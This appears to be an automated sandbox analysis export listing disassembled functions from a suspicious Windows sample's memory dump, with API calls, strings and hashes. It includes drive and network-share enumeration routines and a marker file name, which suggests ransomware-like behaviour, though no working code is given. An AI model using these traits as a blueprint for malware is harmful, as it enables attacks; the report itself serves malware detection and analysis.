API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00840000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00840000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
